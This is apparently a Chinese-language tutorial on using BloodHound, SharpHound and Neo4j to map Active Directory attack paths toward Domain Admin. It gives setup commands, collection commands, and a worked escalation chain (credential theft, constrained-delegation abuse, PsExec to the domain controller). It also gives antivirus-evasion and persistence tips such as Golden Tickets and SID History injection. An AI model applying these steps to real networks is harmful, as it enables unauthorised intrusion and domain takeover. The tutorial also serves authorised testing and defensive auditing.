1. 项目概述为什么我们需要图形化内网渗透分析如果你做过内网渗透测试或者对红队攻防感兴趣那你一定对“域渗透”这个词不陌生。它指的是攻击者进入一个企业内网后以获取域控制器Domain Controller最高权限为最终目标的攻击过程。这个过程的核心就是理清域内用户、计算机、组之间的复杂关系找到一条从你当前立足点通往域管理员Domain Admin的“攻击路径”。传统上我们依赖命令行工具比如PowerView、SharpHound的CLI版本通过一系列命令去枚举用户、组、会话、ACL访问控制列表。但问题来了输出的结果是海量的、文本化的。你需要像侦探一样在成百上千行的日志、SID、GUID和DN可分辨名称中寻找关联。这不仅效率低下而且极易遗漏关键路径尤其是那些隐藏在嵌套组、资源委派或特定ACL中的“捷径”。更别提新手面对Get-DomainUser、Get-DomainComputer、Get-DomainObjectAcl等命令及其参数时的恐惧感了。这就是BloodHound的价值所在。它不是一个独立的漏洞利用工具而是一个内网关系图谱分析与路径规划引擎。它的核心思想是将域内所有对象用户、计算机、组、OU等以及它们之间的关系成员关系、会话、权限等收集起来构建成一个巨大的、可视化的有向图。在这个图上你可以直观地看到“谁可以控制谁”、“从A点到B点有哪些路可走”。它把渗透测试从“命令行考古”变成了“图形化寻路”。最近“路径规划”这个词很火从无人机的A*算法到智能驾驶的DWA局部避障核心都是在复杂环境中找到最优或可行的移动路线。内网渗透在本质上就是一个在权限关系图中进行路径规划的问题。BloodHound就是这个领域的“自动驾驶系统”它内置了多种算法如最短路径、高价值目标分析能自动帮你计算出从当前已控节点到域管理员的最优攻击链。告别命令恐惧就是用这套图形化系统替代繁琐的手工命令行分析让渗透思路更清晰效率呈指数级提升。2. BloodHound核心组件与工作流拆解要玩转BloodHound首先得理解它的三件套架构。这不是一个单一工具而是一个协同工作的系统。2.1 三大核心组件采集器、数据库与前端1. 采集器 (Ingestor) - SharpHound / AzureHound这是整个流程的起点负责在目标域内“跑数据”。它需要在你已经获得权限的域内主机上执行通常是一台已控的Windows机器。SharpHound是经典版本通过多种枚举方法如LDAP查询、NetSessionEnum、NetWkstaUserEnum等收集以下核心数据主体信息用户、计算机、组、组织单位(OU)、域、GPO。关系信息成员关系用户属于哪些组组内包含哪些成员。会话信息哪些用户登录到了哪些计算机上。本地管理员权限哪些用户/组在哪些计算机上拥有本地管理员权限。ACL关系对象的安全描述符例如“用户A对计算机B有‘写入属性’权限”、“组C对用户D有‘强制更改密码’权限”。这是BloodHound威力最大的部分能发现许多隐蔽的权限继承路径。其他关系如SPN服务主体名称注册、域信任等。SharpHound会将这些数据打包成一个或多个JSON文件。AzureHound则是针对Azure AD/Entra ID环境的采集器用于云环境的关系收集。注意SharpHound的运行会产生大量网络流量和日志在真实的对抗中需要结合免杀、流量隐蔽、时间窗口选择等技巧。对于学习和测试请在授权的隔离环境中进行。2. 数据库 (Database) - Neo4jBloodHound使用Neo4j图数据库来存储和查询采集到的数据。Neo4j是专门为处理关联数据设计的它的“节点-关系”模型完美契合BloodHound的需求。每个域对象用户、计算机是一个节点它们之间的权限关系是连接节点的边。这种结构使得执行“找到所有从用户A到组B的路径”这类查询变得极其高效。3. 前端界面 (UI) - BloodHound GUI这就是我们告别命令恐惧的“驾驶舱”。它是一个基于Electron的图形化应用程序连接到后端的Neo4j数据库将复杂的图数据以可视化的方式呈现出来。你可以搜索节点、查看节点详情、运行预置或自定义的Cypher查询Neo4j的查询语言最重要的是使用它的“路径分析”功能一键找出攻击路径。2.2 标准工作流程从数据收集到路径呈现一个完整的BloodHound分析流程遵循以下四步闭环环境搭建在攻击机通常是Kali Linux或专用分析机上安装Neo4j数据库和BloodHound客户端。确保Neo4j服务启动并记住默认的bolt连接端口通常是7687和Web管理端口7474。数据收集在已控的域内主机上上传并执行SharpHound.ps1或SharpHound.exe。使用适当的参数如-CollectionMethod All收集所有数据进行采集。完成后会生成一个压缩的JSON文件如20241027_BloodHound.zip。数据导入在BloodHound GUI中通过拖拽或文件选择将上一步生成的ZIP文件导入。BloodHound会自动将数据解析并存入你配置的Neo4j数据库中。图形化分析在BloodHound界面中开始探索。你可以搜索节点直接搜索已知的用户名如admin、计算机名或组名如Domain Admins。标记关键节点将已控的计算机、拥有的用户凭据标记为“已拥有”。运行分析使用“分析”标签页下的预置查询如“查找所有域管理员”、“查找最短路径到域管理员”、“查找高价值目标”等。手动探索点击任意节点查看其所有入边和出边即谁可以影响它以及它可以影响谁像浏览社交网络一样梳理权限关系。这个流程将渗透测试人员从繁琐的命令行过滤和文本分析中解放出来直接进入“看图作战”的阶段。3. 实战演练从零开始用BloodHound规划攻击路径下面我们以一个模拟的、简化的企业域环境为例演示完整的BloodHound实战过程。假设我们已经通过某种方式例如钓鱼获取了初始凭据进入了内网并控制了一台普通的域成员计算机WORKSTATION01。3.1 阶段一攻击环境与BloodHound平台搭建在开始之前我们需要一个分析平台。推荐在Kali Linux或一台独立的Linux虚拟机上进行。1. 安装Neo4jNeo4j有社区版和企业版BloodHound使用社区版即可。# 添加Neo4j官方仓库并安装 wget -O - https://debian.neo4j.com/neotechnology.gpg.key | sudo apt-key add - echo deb https://debian.neo4j.com stable latest | sudo tee /etc/apt/sources.list.d/neo4j.list sudo apt update sudo apt install neo4j安装完成后启动服务并设置开机自启sudo systemctl enable neo4j sudo systemctl start neo4j默认的Web管理界面在http://localhost:7474。首次访问会要求你修改默认密码初始用户/密码为neo4j/neo4j。务必修改为一个强密码因为BloodHound前端会用到这个密码连接数据库。2. 安装BloodHound从GitHub Release页面下载最新的Linux版本BloodHound。或者使用包管理器如果可用# 示例下载并解压版本号请替换为最新 wget https://github.com/BloodHoundAD/BloodHound/releases/download/v4.3.1/BloodHound-linux-x64.zip unzip BloodHound-linux-x64.zip -d BloodHound cd BloodHound # 运行BloodHound ./BloodHound --no-sandbox首次运行BloodHound它会提示你输入Neo4j数据库的连接信息Database URL:bolt://localhost:7687Username:neo4jPassword: 你刚才设置的密码连接成功后你会看到一个清爽的界面左侧是搜索和标签页中间是主图区。3.2 阶段二在目标域内执行数据收集现在切换到我们已控的域主机WORKSTATION01。我们需要将SharpHound采集器上传并执行。1. 获取SharpHound有多种方式常见的是直接下载SharpHound.ps1脚本或编译好的exe。可以从官方GitHub仓库或你的攻击机本地托管。# 方法1直接在PowerShell中下载并执行可能触发防护 Invoke-WebRequest -Uri https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1 -OutFile .\SharpHound.ps1 # 导入模块 Import-Module .\SharpHound.ps1更隐蔽的方式是使用C2框架如Cobalt Strike的execute-assembly功能加载内存中的SharpHound或者将exe文件做免杀处理后上传。2. 执行数据收集使用Invoke-BloodHound命令来自.ps1或直接运行SharpHound.exe进行收集。关键是指定收集方法。# 使用PowerShell模块 Invoke-BloodHound -CollectionMethod All -Domain CORP.LOCAL -ZipFilename mycollection # 或者使用exe .\SharpHound.exe -c All -d corp.local --zipfilename mycollection参数解析-CollectionMethod / -c: 指定收集范围。All是最全面的但动静也最大。在真实对抗中可以分阶段收集例如先Group, LocalGroup再Session, LoggedOn最后ACL。-Domain / -d: 指定目标域名。如果当前用户就在该域中通常可以省略。-ZipFilename: 指定输出文件名。执行后SharpHound会开始枚举。根据域规模可能需要几分钟到几十分钟。完成后会在当前目录生成一个mycollection.zip文件。3. 数据回传将生成的ZIP文件从目标机器下载到你的BloodHound分析平台。可以通过Web服务器、SMB共享、C2通道等多种方式。3.3 阶段三数据导入与图形化探索分析回到BloodHound GUI界面。1. 导入数据点击左上角的“Upload Data”按钮选择下载回来的ZIP文件。BloodHound会解析并导入数据。导入成功后右下角会有提示显示导入了多少节点和边。2. 初始探索标记“已拥有”资产既然我们控制了WORKSTATION01首先找到它。在左上角搜索框输入WORKSTATION01在结果中右键点击该计算机节点选择“Mark as Owned”。它的颜色会变成红色这代表我们的攻击起点。3. 运行预置路径分析点击顶部的“Analysis”标签页这里列出了所有预置的查询。对我们最有用的几个是Shortest Paths to Domain Admins: 计算从所有“已拥有”节点到“域管理员组”成员的最短路径。这是我们的一键式攻击路径规划。Find Principals with DCSync Rights: 查找具有DCSync权限的用户/组该权限允许同步域控密码哈希是通往域控的“黄金门票”。Find All Domain Admins: 快速定位所有域管理员账户。点击“Shortest Paths to Domain Admins”。BloodHound会运行一个复杂的图查询几秒钟后主图区会显示出所有从红色节点WORKSTATION01到域管理员通常是DOMAIN ADMINSCORP.LOCAL组或其成员的路径。3.4 阶段四解读攻击路径与制定战术假设BloodHound给我们展示了一条如下路径WORKSTATION01 (Owned) -- HasSession -- USER_JSMITH -- MemberOf -- HELP_DESK_GROUP -- GenericAll -- SERVER_SQL -- AdminTo -- DC01.corp.local (Domain Controller)让我们像阅读地图一样解读这条攻击链HasSession: 用户USER_JSMITH当前在WORKSTATION01上有会话即登录了。因为我们控制了这台电脑理论上我们可以窃取或假冒这个用户的令牌例如使用Mimikatz的sekurlsa::pth进行哈希传递或票据传递。MemberOf:USER_JSMITH是HELP_DESK_GROUP组的成员。这是一个关键的中继点。GenericAll:HELP_DESK_GROUP组对SERVER_SQL这台服务器拥有“Generic All”权限。这是Active Directory中最强大的权限之一意味着该组可以修改SERVER_SQL计算机对象的所有属性包括将其加入域、重置密码等。一个常见的利用方式是“资源委派攻击”利用此权限将SERVER_SQL的msDS-AllowedToActOnBehalfOfOtherIdentity属性设置为允许HELP_DESK_GROUP进行约束委派从而获取该服务器的服务票据。AdminTo:SERVER_SQL计算机账户或其上某个本地管理员账户是域控制器DC01的本地管理员。这意味着如果我们能完全控制SERVER_SQL通过上一步的约束委派或其它方式就可以通过PsExec、WMI、WinRM等方式在DC01上执行命令获得域控制器的SYSTEM权限从而完全掌控整个域。这条路径清晰地展示了一个“权限提升链”。我们的战术就从这里展开第一步在WORKSTATION01上转储USER_JSMITH的哈希或票据。第二步使用USER_JSMITH的凭据利用GenericAll权限对SERVER_SQL进行资源委派配置。第三步通过约束委派获取SERVER_SQL的权限进而以本地管理员身份攻陷DC01。BloodHound不仅展示了路径点击路径上的每个关系边它还会在右下角的“Info”面板中给出具体的利用建议和可能用到的攻击工具比如对于GenericAll它会提示“You can write to this object... consider usingSet-DomainObject...”。这就像一个内置的战术手册。4. 高级技巧与深度分析超越一键路径预置查询很强大但真正的内网高手不会止步于此。BloodHound的潜力在于其底层的Cypher查询和图数据库能力。4.1 自定义Cypher查询精准狩猎当预置查询无法满足特定需求时你需要编写自定义查询。例如你想“查找所有对至少三台非域控制器计算机拥有AdminTo权限的用户”。MATCH (u:User)-[:AdminTo]-(c:Computer) WHERE NOT c.name CONTAINS DC // 排除域控制器 WITH u, count(c) as compCount WHERE compCount 3 RETURN u.name, compCount ORDER BY compCount DESC在BloodHound的“Raw Query”标签页中运行此查询它会列出所有符合条件的高权限用户。这些用户可能是横向移动的绝佳跳板。另一个经典场景是寻找“无约束委派”计算机这是Kerberos协议中的一个危险配置可用于窃取高权限票据MATCH (c:Computer {unconstraineddelegation:true}) RETURN c4.2 组合攻击与路径权重分析BloodHound显示的“最短路径”是基于关系跳数最少的路径但不一定是阻力最小的路径。你需要结合人工分析路径可行性评估路径中的某个环节是否需要交互式登录是否需要特定的服务在运行目标主机是否在线、是否有严格的防火墙规则隐蔽性考量利用AdminTo进行PsExec会产生明显的4688和4689日志而利用基于资源的约束委派RBCD可能更隐蔽。权限持久化在沿着路径前进时每控制一个节点都应考虑留下后门如Golden Ticket、Silver Ticket、影子组员、SID History注入等以防路径被管理员切断。你可以利用BloodHound的“节点信息”面板查看目标计算机的操作系统、SPN、是否允许无约束委派等详细信息辅助决策。4.3 防御视角蓝队的BloodHound用法BloodHound同样是蓝队和防御方的神器。定期在内部网络运行SharpHound需获得授权可以发现配置缺陷主动识别出那些危险的ACL、过宽的本地管理员组、不应存在的无约束委派等。模拟攻击路径以普通员工账户为起点运行路径分析看看攻击者可能如何从一次普通的钓鱼攻击升级到域控。这有助于进行攻击路径监控和加固。权限清理根据BloodHound的分析结果清理不必要的权限、移除离职员工账户、收紧本地管理员策略。5. 常见陷阱、排查与优化实录即使有了强大的工具实战中依然会踩坑。下面分享一些我积累的经验和避坑指南。5.1 数据收集阶段的典型问题问题1SharpHound运行失败或返回数据为空。可能原因与排查权限不足当前用户可能只是一个普通的域用户无法枚举某些信息如会话信息需要本地管理员权限。尝试使用已获取的更高权限凭据如本地管理员重新运行。网络策略限制目标主机可能关闭了必要的端口如445/SMB, 135/RPC或启用了防火墙阻止了SharpHound的网络枚举。尝试使用-CollectionMethod DCOnly仅通过LDAP389/636端口从域控收集部分数据但这会缺失本地管理员和会话信息。防病毒软件拦截SharpHound被识别为恶意软件。需要做免杀处理或使用内存加载等无文件执行方式。域名错误使用-d参数指定了错误的域名。可以先在主机上执行set user或whoami /all查看当前域。问题2收集的数据量巨大导致ZIP文件很大导入缓慢。优化方案分块收集不要总是用-c All。可以先收集Group, LocalGroup了解结构再针对性地收集Session, LoggedOn, ACL。使用压缩与加密SharpHound生成的ZIP默认有压缩。如果网络传输是瓶颈可以考虑在目标机上用强密码加密压缩包再传输。数据库优化确保运行Neo4j的机器有足够的内存。可以调整Neo4j的堆内存设置在neo4j.conf中修改dbms.memory.heap.initial_size和dbms.memory.heap.max_size。5.2 数据分析与路径解读中的误区误区1盲目相信“最短路径”。最短路径在数学上最优但在现实中可能最难利用。例如一条路径显示AdminTo关系但目标主机可能安装了强大的EDR远程执行命令会立刻告警。另一条路径多了一环但利用的是ACL中的WriteProperty权限来修改组员关系可能更安静。一定要结合节点属性和环境上下文判断。误区2忽略“误报”关系。BloodHound基于收集到的数据构建图谱如果数据本身有误例如缓存的旧会话信息、DNS记录问题图谱就可能包含错误关系。对于关键路径需要用手工命令如net user、Get-NetLocalGroup、Get-ObjectAcl进行二次验证。误区3只关注横向不关注纵向权限深度。控制一台域控不是终点。BloodHound还能帮你分析域信任关系规划跨域攻击路径。在有多域林的环境中这是必经之路。5.3 性能与稳定性优化心得Neo4j调优对于大型企业域数万节点默认配置可能使BloodHound界面卡顿。除了增加内存还可以在Neo4j配置中启用页面缓存dbms.memory.pagecache.size并定期在Neo4j浏览器中执行CALL db.index.fulltext.awaitEventuallyConsistent()来优化全文索引。BloodHound UI技巧当图谱节点过多看不清时善用“筛选”功能。可以只显示“高价值目标”标记为关键的用户/组和“已拥有”节点之间的路径。使用“分组”功能将同一类型的节点如所有计算机聚合显示让图谱更清晰。数据保鲜内网环境是动态的用户登录注销、权限变更频繁。一次收集的数据有效期可能只有几天。对于长期驻留的渗透测试需要制定计划定期如每周更新BloodHound数据以发现新的攻击路径或监控已加固路径是否被重新打开。图形化的BloodHound彻底改变了内网渗透的分析模式它将抽象、零散的关系数据转化为直观、可操作的战略地图。掌握它意味着你拥有了透视整个内网安全态势的“上帝视角”。工具再强大也离不开对基础协议如Kerberos、LDAP、NTLM和Windows安全机制的深刻理解。BloodHound为你指明了道路而如何稳健、隐蔽地走完这条路依然考验着渗透测试者的综合能力。从今天起试着用BloodHound重新审视你的测试环境你可能会发现那些曾被命令行海洋淹没的“捷径”一直就在那里。
)
